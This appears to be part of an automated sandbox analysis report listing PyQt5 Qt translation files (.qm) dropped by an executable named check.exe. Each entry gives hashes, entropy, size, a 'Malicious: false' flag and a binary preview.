Preview:	<.d....!..`.......zh_TWB......I....[.%.......0T......0T......Uj......Uj....R.`.....>.a[....................g..t....7..@......................39.......s................... .........B<s.....B<s.....B\>......MQ..........[...J...]..31.....+.s...c.0.....U.O5Q......)Q...C..o>.......................J...............t...3...t.....8dz.....D ....R.D ......k.A.....k.A.....k.N...'...n.......I.......I...........[..2....x..G........N......w................!...........:...........Q...&...............$a......6.>...I.......L.......$..K......................_Xa...y..GA...O..GN...........$..........TH...I.K.H................ Y..pA...K..pN.............P.~.....o.....D.~.q......>.............~......~........%c.. ..o.....!.z.q...........#..0q....................i..!Y....(..g.S..f/V.p.N.W(^.z.e.N.v.}"_.uvN-0............M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......P..;............Note:.....QCLuceneResultWidget......d.\.}Pg...........Sea

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.6255640074603277
Encrypted:	false
SSDEEP:	3:j2wZC4C/IrLlAlHekfK/gp1MUXaMlI+rwtbWlMiayIPldkOgn:CwDrC+TYIUrIRt6HoiHn
MD5:	5A46979B45C67DD6312F33CCEA2ED7BC
SHA1:	4C56836B1FB10D9903B299CBCB925947D515B4C8
SHA-256:	BB246AABD501E14CED8B1FFC1369E3D5D26567AAE62B3EAD4D94C22FB77C3471
SHA-512:	BDBA4E1731CF254E95B0F1337410937C765E96FBB1D42F1D053033E1511FEE6F50C02705F781F4DAA0347E2299DC78A5A9942AC4EA343ED1F8F401F9ACD961E4
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......hu....v.....q.t.b.a.s.e._.h.u.....q.t.s.c.r.i.p.t._.h.u.....q.t.m.u.l.t.i.m.e.d.i.a._.h.u... .q.t.x.m.l.p.a.t.t.e.r.n.s._.h.u

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	153
Entropy (8bit):	3.5752972123113778
Encrypted:	false
SSDEEP:	3:j2wZC4C/EbFlAlHeke5zOp1MUWLt7KlI+rwtbWlMj5FKIPldkOA9kk:CwDM+35aIUW5SIRt6Q50oi9Gk
MD5:	2BB8C94D420D3BC344C79A01043BDC89
SHA1:	3FBA773D58E6D3699C20AB41AEE6801E71E2DDAE
SHA-256:	9117AAC2D07BC86DFA55A29B8825ED27C7093300FCC90E143E135E00E85F09D7
SHA-512:	C6B13655AFB206B0056F5656B4A9BF33CC267FCC928F6973258131CFA6443970510226FE45A041E5AA988809E17D0B11C7458F4A241C71521EDED186596C6055
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......it....v.....q.t.b.a.s.e._.i.t.....q.t.s.c.r.i.p.t._.i.t.....q.t.m.u.l.t.i.m.e.d.i.a._.i.t... .q.t.x.m.l.p.a.t.t.e.r.n.s._.i.t.......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.599979504080125
Encrypted:	false
SSDEEP:	3:j2wZC4C/il/lAlHekd6hY1MUV6JAlI+rwtbWlMgel3UlIPldkOG:Cwz4+pjUGAIRt6qVUloiB
MD5:	8A1EE3433304838CCD0EBE0A825E84D8
SHA1:	2B3476588350C5384E0F9A51FF2E3659E89B4846
SHA-256:	23457CE8E44E233C6F85D56A4EE6A2CECD87C9C7BDDE6D8B8A925902EED1CD9C
SHA-512:	2D8ACD668DF537E98B27161F9FA49828EB2EB6E9CF41DB38E7F5D31F610D150CD1B580A8AE9B472A4DFDE4D4BF983C24A56293BB911CF5879368664E4D4CF3D2
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ja....v.....q.t.b.a.s.e._.j.a.....q.t.s.c.r.i.p.t._.j.a.....q.t.m.u.l.t.i.m.e.d.i.a._.j.a... .q.t.x.m.l.p.a.t.t.e.r.n.s._.j.a

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	146
Entropy (8bit):	3.652277257665055
Encrypted:	false
SSDEEP:	3:j2wZC4C/rrr/lAlHekcQ/01MUUQMlI+rwtbWlMhQGlIPldkORn:CwCC+1Q/UUpIRt6SBloimn
MD5:	7B2659AF52B824EAC6C169CDD9467EE9
SHA1:	5727109218B222E3B654A8CC9933E970EB7C2118
SHA-256:	4CC1AF37E771F0A43898849CFF2CD42A820451B8D2B2E88931031629D781DB05
SHA-512:	E9475AC80BDBBEFF54F2724A2B6BA76992F18FD1913FD8EE1540A99FD7A112B79FED5A130B6AC6D7460E4420C06354FC6E4CF7770A7C6CBD3EAC1BDAF0082DE5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ko....v.....q.t.b.a.s.e._.k.o.....q.t.s.c.r.i.p.t._.k.o.....q.t.m.u.l.t.i.m.e.d.i.a._.k.o... .q.t.x.m.l.p.a.t.t.e.r.n.s._.k.o

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_lt.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165383
Entropy (8bit):	4.805977227348512
Encrypted:	false
SSDEEP:	1536:i5v3+zmayloj6yJjhnBAbnrKnGrhA7WgdXclIsooY9i:SvOzAloj6yJ9BA7riGr+7WKXc+s5ui
MD5:	8992B652D1499F5D2F12674F3F875A35
SHA1:	E22766A49612F79156C550D83C6C230345DDA433
SHA-256:	47EB5F97467DF769261421D54A5BEA1131C9FB9B6388791D38BB6574335B64BF
SHA-512:	9B8B6DBFF432F2A46C14BC183A6BAF84ACBF02BF2C5BB8C306C6538FBD9BE1C0A9015BD46728F2F652F9163AFC56B1E16D16EB95D8F7728F3C562AE9F4F1AE1E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ltB..0X.....)C...+...\|......P....@..9....A..9....B..:....C..:....D..;....E..;....F..<6...G..<....H..=)...I..=....P..>q...Q..>....R..?....S..@f...T..@....U..A\...V..B....W..B....X..C....Y..Cy...]..k....t..........t>......th......t.......pd...;..J'...;.._h...;.......;...{...;..J....;...)...M..l....O...R...O...............}..l9...m..lo......^S..(5..P{..+;..4...+;......+;......+O..4...+O......1...^...E@..?p..F...C...H4......HY......H.......I...D...I@..s...IA..t...IC...2..J.......J....Y..J.......J.......K...9...LD...`..L.......PS......R.......T...q...Zr...`..[`......[`..&@..\....e..\....b.._......._....P..1........E..........5........L..1...O...1...PP......7......../...........$.......$.......,.......y.......y..........K^..............x......8................L...E.......E.......E......................%..:....%.........0U.....W......Zo.....^....5.......0..I....0...F...0...\|...0.......0.......0..+\...5...}.......... D...g.. D......+....j..,.......,.......<U...+..<U

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_lv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	89
Entropy (8bit):	4.156834975253888
Encrypted:	false
SSDEEP:	3:j2wZC4C/HzllldQlHekbxplUp1MUTJ+b:Cwv+DIUEb
MD5:	19F1B919BB531E9E12E7F707BEBD8497
SHA1:	46E82683CEA28D877C73A5CE02F965BB1130FC62
SHA-256:	03467738042A15676E504BA02CB326DCDB773B171FADA3CD62B7A0E0564314A0
SHA-512:	901D7B26CAC7A4D0FFDB39A1D25767B5BC71BED4AFBE788D70BF19D4C58A8295167111675AB45E743FDF4768AF874D69417414C01CF23D5C525A3F6C8BF7D21F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......lv....0.....q.t.b.a.s.e._.l.v.....q.t.s.c.r.i.p.t._.l.v........)....

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	161
Entropy (8bit):	3.8693516202048612
Encrypted:	false
SSDEEP:	3:j2wZC4C/5J/p/lAlHekHp/7KlI+rwtbWlM6Tl/z21MUPp/FOlIPldkOjehB:Cwr+26IRt6nFURkloiT
MD5:	D71EA9FEFD97464B178235150EC8759E
SHA1:	61026FE602FD1B8B442A0D341C6BD759EEC75488
SHA-256:	BD7DD0C2CAB119A973DC10C3BFF7499D9728B928B541F86056921B30C8DB78E6
SHA-512:	ECD76A7D8B8D733E635B2BFEA90A4CD387B83D9D8A4EB6D299F59FF22AAA8D617A4C886A825A1CDDD901925C7839E2C18BDD4E0CD84152641922B66B62663F77
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......pl....v.....q.t.b.a.s.e._.p.l.....q.t.m.u.l.t.i.m.e.d.i.a._.p.l.....q.t.s.c.r.i.p.t._.p.l... .q.t.x.m.l.p.a.t.t.e.r.n.s._.p.l............,..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_pt.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	70334
Entropy (8bit):	4.732724622610353
Encrypted:	false
SSDEEP:	768:OKGUuWW+WHjS0gMBd483+Y7bDPs4RHBloLUIltlzAJnx4nnliM1OPlOibLG:JGUuWPuSgm0Jn+n4Mhj
MD5:	6656500F7A28EF820AE9F97FD47FB5BB
SHA1:	CC112B9C9513BCF7497F3417168B4C8A9F7640A9
SHA-256:	2C1E7BBF5168A64B43752DD4C547601C0BDE6D610F8671FA3E3AF38597E84783
SHA-512:	5C3CBFCF86AF6B4D949C1D914CD379E512E73BA350AF661033A386EE7FB981FBFCB43D9A35FDE7656E17BB09F64F1469F84867A780573C3359D645269461D5A6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......pt_PTB...(......9...+...e...]..6....;.......;..-....;..;`...;..};...;.......M..6....O... ...O...w...........}..7....m..7B..........+;......+;..8S..+;..>...+O......+O..8#..H4......H.......J......K.......LD...)..L....}..PS...l..Zr...B..[`...;..[`.....\...kU.._......._.......1...?...............8...............E............,..................p........0...............v...........%...O...%..G........4...0.......0..:....0..y....0..\|....0.......0...X...5.......5...... D..=... D..Kn..+....L..,...>...,......<U..z...<U......<.......F...>...F.......H5...4..H5..=...H5..K...H5......f....p..f...1...f...;...f...I...f...\|H..f.......f.......l....................b......<...............>.......L ...........`......`..._.......A......2....e...g...e..>D...e..LW................y...,..y......y..o...y......T..L...0..'..*.0....+F...y..+F......+f......+f...C..+.z..0..+.....d.+....p0.+.....R.+.z..0U.+.....u.+....8..+....Ct.+....L..+....y..+.....Z.+......+...pc.+.....+....0..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	164
Entropy (8bit):	3.984562388316898
Encrypted:	false
SSDEEP:	3:j2wZC4C/oZlAlHekF8Op1MUNKJKlI+rwtbWlM4KKIPldkOSxRMugB:CwY+GIUgcIRt61oihM3
MD5:	F7A8C75408B9A34A2B185E76F51B7B85
SHA1:	065E987139C5FB809A6F9CDF3845BCD79707FDBB
SHA-256:	6492B267608C6FB76907BD8FCFC8F1EF57E9F4EBBC2E81ACA81715A88388F94A
SHA-512:	E768C5B438EC899801B22B1325F2244ACCC5E7C2EC5D270F510BC3CBC2D9A0536949C026DB7FB5862835E506A9F2020DEB2CC4001E7011FF974324542734F855
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ru....v.....q.t.b.a.s.e._.r.u.....q.t.s.c.r.i.p.t._.r.u.....q.t.m.u.l.t.i.m.e.d.i.a._.r.u... .q.t.x.m.l.p.a.t.t.e.r.n.s._.r.u........)......,..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	157
Entropy (8bit):	3.7731953311404336
Encrypted:	false
SSDEEP:	3:j2wZC4C/3xRlAlHekE8lgp1MUM8lMlI+rwtbWlM5UllyIPldkOfll6kchn:CwS0+t8CIUM86IRt6KUlsoi2CVh
MD5:	24C179481B5EF574F33E983A62A34D53
SHA1:	0A67F1ED8CA4A5182F504806F8D47D499789F2D2
SHA-256:	B6ADFFD889FF96BF195CB997327E7D7005A815CAD67823FA6915A19C2D9BB668
SHA-512:	4757F3693120DAB2FBB7BCF1734EA20B3E3D9056B4B4E934A3129D660CFDC6C58B230459DB55912AF24AD5692BD221830BE0FF91E41D3EECD9439E79AC23FFE6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......sk....v.....q.t.b.a.s.e._.s.k.....q.t.s.c.r.i.p.t._.s.k.....q.t.m.u.l.t.i.m.e.d.i.a._.s.k... .q.t.x.m.l.p.a.t.t.e.r.n.s._.s.k...........

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_sl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	228428
Entropy (8bit):	4.726953418955661
Encrypted:	false
SSDEEP:	3072:9zQH0hOtgmiAZu0eeAEv+v49JnnSmICgr3n7jhCQUeinqyU5UggtRLGrQ2LZO+Y1:RpUsSpGr36wsR
MD5:	D35A0FE35476BE8BD149CEE46E42B5E9
SHA1:	9F3C85C115A283E5230D1EEAD84C8CB73A71FA03
SHA-256:	C44E0313A9414CC0E490B65B0C036FA11BCA959353B228886547BC2C8492034F
SHA-512:	BEEB1751882AF081E80BE93F7464D4C6322B724EFA2CBD3E1CBE709181D380C1C57E770FA962BB706D6FCF4A8CB393E3F6E187C1F604F8CEEFB201CA3200BD1C
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......slB..<....*.......+.......@...C...A.......B...<...C.......D...2...E.......F...d...G.......H...W...I.......P.......Q.......R.......S...x...T.......U...n...V...%...W.......X.......Y.......]..g~...t...V.......f..................................;..G....;..[....;...q...;..ia...;... ...M..g....O.......O.......[..,e...........}..g....m..h........Q..(5......+;..2...+;...b..+;...i..+O..2...+O...4..1......E@......F.......H4......HY...%..H.......I.......I@......IA...9..IC......J...6...J.......J.......J...^...K...7...LD......L....n..PS...U..R.......T....=..Zr......[`...V..[`......\...!,..\...8U.._..."b.._.../h..1.......E...9......4...............5........e...................$...<...$..Z....[.......,.......y...L...y..].......H.......@.......J.......6........~..........E...O...E..+....E...~..............,1...%..8r...%...........^..............................5.......0..Gx...0.......0..P....0..h....0.......0.......5...^.......... D...... D......+....`..,.......,...-...<U

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_sv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	65851
Entropy (8bit):	4.7906769989650515
Encrypted:	false
SSDEEP:	1536:4u6DkpgyKmRmG15mGM6iFPi6Q/qTlOQZY2dKN8gKw:4u6DotUG1sGMZPi6Q/qTlO2Y2YKw
MD5:	0E85E0E0E7DDFE3D4BDE302F27047F9C
SHA1:	AE59348E0C2E4F86F99DA6CF5DAB3B7E92504B7C
SHA-256:	4B4B6FF7FD237C9DA0301B4946132E68653D15EB5FAF38E4C5FBFEBB12DD97F7
SHA-512:	8CAAB6C61E9FA26A3A289A9E4DC515D157B3092D6D4ED43861220261BD2B7CC79B35B52F9ADE4EF558B5385B37EAC14575420DD55C475F435BB95B6C1E2561B6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...B..............+...i...]..6....;.......;..-f...;..:;...;..t....;.......M..64...O.......O...........q...}..6\...m..6........(..+;......+;..7...+;..=...+O......+O..7c..H4......H.......J.......K....F..LD...+..L.......PS...N..Zr......[`...7..[`...N..\...h4.._....J.._....k..1...>...............7........}......D............,.................i....................................%.......%..Fc.......6...0.......0..9....0..q....0..t....0.......0.......5.......5...... D..<}.. D..I...+.......,...=X..,.......<U..r...<U...n..<.......F...=...F....F..H5......H5..<...H5..J4..H5......f.......f...1V..f...:f..f...H;..f...t&..f.......f.......l..................8......;z..............<.......Je.......6...`...&...`...!.......9......1....e.......e..=....e..J..............g...y......y.../..y..h...y......T..J...0..'[..0...K.+F...q..+F.....+f......+f...A..+.z../..+.......+....i`.+.....X.+.z../..+.....S.+....7..+....Bi.+....K..+....q..+.......+......+...i..+.....+....0..F0i.....G.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	110
Entropy (8bit):	3.630483009136986
Encrypted:	false
SSDEEP:	3:j2wZC4C/7zl9lAlHekDN/01MULV4LlI+rwtbWlM+N:Cw5+wUGRIRt6n
MD5:	16CDF5B9D48B0F795D532A0D07F5C3A0
SHA1:	6E403C9096B3051973E2B681DFEBBC8DD024830D
SHA-256:	F574A2CFD4715885C3DBDF5AE60995252673BD94FDAA9586F7E0586F6C1AC0EE
SHA-512:	36A0431368010157EA8A45DCB00458076CCFFC08B37E443DEBD1AAD4A30C6080803337725A7A3DCBF2B410DC7BE89CEAF6C07C46F876E4EF5B08159E3BF38E6D
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......tr....R.....q.t.b.a.s.e._.t.r.....q.t.s.c.r.i.p.t._.t.r.....q.t.m.u.l.t.i.m.e.d.i.a._.t.r

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.021402900389864
Encrypted:	false
SSDEEP:	3:j2wZC4C/ZlRlAlHekCczOp1MUKUt7KlI+rwtbWlM/cFKIPldkONRMugB:CwUl0+rjIUKUcIRt6M/oioM3
MD5:	9B101363343847FE42167183320C03F0
SHA1:	F0DF2CFF913E588B7CADFDABBF69F4F632B2F96A
SHA-256:	F1621E680E1642F9463E4B07E7E78B50F9A7BDB7C321D7302039CB3405CBDEA4
SHA-512:	DA14FDF8DB514902733CAAC492293873351C595EBBE0ACB0849BECE24AB822602EE64D01051F1426CD1FC13A95D8607302CF9B515D9806FDD3BD047087DE447C
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......uk....v.....q.t.b.a.s.e._.u.k.....q.t.s.c.r.i.p.t._.u.k.....q.t.m.u.l.t.i.m.e.d.i.a._.u.k... .q.t.x.m.l.p.a.t.t.e.r.n.s._.u.k........)......,..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_zh_CN.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	117347
Entropy (8bit):	5.8593733369029195
Encrypted:	false
SSDEEP:	1536:51dXW89nqEFu54aekvRzHHSVuf8j2+/xc3lhnbsfdAoz/w:v9qEFeLekvRznSVHJG3lhn+djY
MD5:	0D02F0DE5A12BCB338B7042DFBDAACF3
SHA1:	B7C10D249D8986AD8C6939B370407D07227A39F5
SHA-256:	28CDE75D7B32C81FEF1D4630C37B79A61DEC24B357632FF00D6365A57D8BE43B
SHA-512:	21F02EBA36B4411921EA3C70310B8E454E8FC2B8F09957FD6A63B71689DC381F7A5E2C3BDF2810734D659AB43D8A7BD46EF6436ECC52F75C71B5F5C313365444
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zhB..+...........+.......@.......A...8...B.......C.......D.......E...V...F.......G...L...H.......I...9...P.......Q...e...R...^...S.......T...T...U.......V...\|...W.......X...o...Y.......]..4 ...;...2...;..,....;..8....;.......;.......M..4H...O.......O...........#...}..4p...m..4........N..(5......+;...f..+;..6Y..+;..<...+O...8..+O..6'..1......E@......F....Y..H4..."..HY..J...H.......I.......J.......J.......K....5..LD..._..L......PS...V..Q....6..R...N...W..../..Zr.....[`.....[`......\...lU.._......._....L..1...<........j......6...............B........I...$..K....$.......,...g...y...3.......A......r...........................9..L7......;w...E..5b...E...G.......5...%.......%..D........`..............................0.......0..8W...0..}y...0...6...0.......0.......5.......5...... D..:... D..J...+....R..,...;...,......<U..~...<U......<......F...;...F......H5...i..H5..:...H5..Jk..H5...w..VE...[..f....u..f...0X..f...9...f...E...f.......f.......f....j..g....A..l.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	141
Entropy (8bit):	3.7198292994386235
Encrypted:	false
SSDEEP:	3:j2wZC4C/0N6xg/Rl/gl+kNXDelHrwtbWlMwTolIPldkOfDn:CwOO2+g6Mt63oloiUn
MD5:	ED4135D705AEF3D97F8BF6B8FF11F09C
SHA1:	308E2B8F74B863A61AD0B68F4A18ED06965EBEAA
SHA-256:	751ECDA0C33E061D91241268357FBD2F6B7F70A1116E714F28D22EFD61EC7A1A
SHA-512:	B6E6D00553A9C427130129B9D30E862028E549F372A832F0F05747C8E2A79E443F4932EC3AE177537C8BA00D26B5B6CB97D5B35426AB5229F6A468CA485BE0B1
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zh_TW....n.....q.t.b.a.s.e._.z.h._.T.W...$.q.t.m.u.l.t.i.m.e.d.i.a._.z.h._.T.W...&.q.t.x.m.l.p.a.t.t.e.r.n.s._.z.h._.T.W

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	160017
Entropy (8bit):	5.35627970915292
Encrypted:	false
SSDEEP:	1536:XGlAMfkX1M0RdaCkR8lfv8vtc8EFrVYA2I4AJZWEWgHg1C8COvzHKHC6Jp9NV0V7:XUr0RACkIwDEpV1Lgf1ubtw3Bb
MD5:	A7E4D0BA0FC5DF07F62CC66EC9878979
SHA1:	21FD131B23BDD1BBA7BBB86F3ED5C83876F45638
SHA-256:	E03FE68D83201543698FD7FE267DD5DFC5BFD195147E74FF2F19AC3491401263
SHA-512:	D9E6B10506FCF20B5B783F011908083D9DF6C5DF88E21B10D07F53A01AD6506A4B921C85335A25BAE54E27BAD7D01B6E240D58FDEEAABC7FF32014EC120C2ECF
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......arB..2....*.......+.......@.......A.......B..._...C......D.......E......F.......G... ...H...D...I...h...P...C...Q...g...R......S.......T.......U.......V...x...W......X.......Y.......]..'=...s......t...........]...........;..'....;..(....;.......;.......M..'e...O.......O...9...........}..'........C...=......m..'....t..........!o..(5...Z..+;..5u..+;..c...+O......1...!...D@...8..E@.....H4...,..HY..QI..H.......IC......J....1..J.......J.......LD......L.......PS......QR...R..R...V2..T.......U....]..X.......Zr.....[`......\....t..]x......_......._.......yg......1...6....E..8V..............C............................$..RN...[...0...,.......y.......y...................K...........9..R....E.."............z.......................%..F;...D...[..................................!....5.......0...I...0.......0...5...0..#....5.......5...p..............W}.. D..(... D..P=..+.......<U......<U......<.......H5..(...H5..P...L.......VE......VE......V....B..f...JJ..f.......f.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165337
Entropy (8bit):	5.332219158085151
Encrypted:	false
SSDEEP:	1536:9ULiyUxPoT6qx+J7FJlaaMJnxjqxq+0Uiff0mbVeb7wiEwYuYqDKBkKHMXHCIMll:9ULpIVFnpwUiEujw27ncUQUz
MD5:	660413AD666A6B31A1ACF8F216781D6E
SHA1:	654409CDF3F551555957D3DBCF8D6A0D8F03A6C5
SHA-256:	E448AC9E3F16C29EB27AF3012EFE21052DAA78FABFB34CD6DFF2F69EE3BD3CDB
SHA-512:	C6AE4B784C3D302D7EC6B9CE7B27DDAF00713ADF233F1246CD0475697A59C84D6A86BAA1005283B1F89FCC0835FD131E5CF07B3534B66A0A0AA6AC6356006B8F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......bg_BGB../......,....+..."...@...]...A.......B.......C.......D...P...E...!...F.......G.......H.......I.......P.......Q.......R...A...S...e...T.......U.......V.......W...1...X...U...Y...y...]..,....s...,...t...................P...;..+....;..-E...;..!....;..+....M..,Y...O...,...O..............}..,............=...Q...m..,....t...\|......>...(5..1...+;..<...+;..o...+O...r..1...>...D@......E@......H4......HY..[...H.......IC......J....E..J....X..J.......LD......L....L..PS......QR.."...R...`...T....X..U.......X.......Zr...q..[`...`..\.......]x......_......._....T..yg.....1...=....E..?...............L(.......(...............'...$..\....[.......,...I...y...!...y...................S...........9..]%...E..5p...........z..!q...................%..O....D..................D.....8......:......?....5...&...0.......0.. ....0...c...0..5....5.......5..................b:.. D..-... D..Z...+.......<U......<U...0..<.......H5..-...H5..[...L.......VE..#a..VE..;...V.......f...T...f...!..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	210159
Entropy (8bit):	4.666388181115542
Encrypted:	false
SSDEEP:	3072:P/DVhdlafzvZfeW+6kXEVjSVPzC3ceKdP2:xYf7UW+WjwP2
MD5:	B383F6D4B9EEA51C065E73ECB95BBD23
SHA1:	DD6C2C4B4888B0D14CEBFC86F471D0FC9B07FE42
SHA-256:	52E94FCC9490889B55812C5433D009B44BDC2DC3170EB55B1AF444EF4AAE1D7F
SHA-512:	9401940A170E22CE6515E3C1453C563D93869A3C3686C859491A1F8795520B61BF3F0BFE4687A7380C0CC0C75E25559354FDB5CEF916AF4C5B6CD9661464A54A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......caB..7....*.......+.../...@..:P...A..:t...B..:....C..:....D..;=...E..<....F..<Z...G..<~...H..<....I..<....P..>....Q..>....R..?....S..?R...T..?v...U..?....V..?....W..@....X..@<...Y..@`...]../....s..1....t..........2s......#p...;.......;../....;..W....;..e+...M../3...O.......O..9.......J....}../]......8....=..9....m../....t..9Y.......S..(5..lB..+;.._...+;...=..+O..U...1.......D@..:...E@..?...H4...J..HY..~...H..."...IC...0..J....W..J....0..J.......LD..!...L...!f..PS..)...QR.."...R.......T...9~..U...9...U...z...X...>...Zr..E...[`...e..\...LD..]x..7U.._......._...M...yg..f...1...a....E..c....7.........U.......p........b.......4.......K...$.......[.......,.......y.......y...................^...........9...:...E...s...... (...z..":.......d......!....%..tQ...D.."......."......2......ve.....y...........5..#H...0...\...0..W+...0..';...0.......5..(....5..........)s.......... D..0w.. D..}...+...1...<?..5x..<U......<U..5...<...6@..H5..0...H5..~...L...9...VE..$...V...SV..f.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	174701
Entropy (8bit):	4.87192387061682
Encrypted:	false
SSDEEP:	3072:5WjuhX0CVRaakGjW9E8SSOQfX/JlwVOMxrboRPqWxXfQvO7zjBf:5iFGj1QfXr8Gd
MD5:	C57D0DE9D8458A5BEB2114E47B0FDE47
SHA1:	3A0E777539C51BB65EE76B8E1D8DCE4386CBC886
SHA-256:	03028B42DF5479270371E4C3BDC7DF2F56CBBE6DDA956A2864AC6F6415861FE8
SHA-512:	F7970C132064407752C3D42705376FE04FACAFD2CFE1021E615182555F7BA82E7970EDF5D14359F9D5CA69D4D570AA9DDC46D48CE787CFF13D305341A3E4AF79
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......cs_CZB..3p.....F....+.......@..!....@..Ef...A..!....A..E....B.."1...B..E....C.."U...C..E....D.."....D..F....E..#p...E..F)...F..#....F..FP...G..#....G..Fw...H..$....H..F....I..$6...I..F....P..&%...P..Gr...Q..&I...Q..G....R..&....R..G....S..&....S..H....T..&....T..H8...U..'....U..H_...V..'Z...V..H....W..'~...W..H....X..'....X..H....Y..'....Y..H....]..,....]..,....s.......t...9..................;.......;..+....;..1B...;......;..?x...;..N....;..iY...;..s3...M..,B...M..,....O.......O...w...O..rr...........}..,j...}..-....... 5...=.. ....m..,....m..-8...t.. .......ay..(5..TT..+;...A..+;..B...+;..u...+O......+O..=a..1...a...D@.."...E@..&m..E@..G...F...J...H4...=..HY..`...H.......I...J...IC......J....-..J.......J.......LD......L....(..PS.....QR.."S..R...e...T.... ..U......X.......Zr...g..[`......\......]x......_......._......._...v...yg......1...C....E..E...............=.......Q........................s...$..a....[.......,.......y.......y...y..............G..........

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	181387
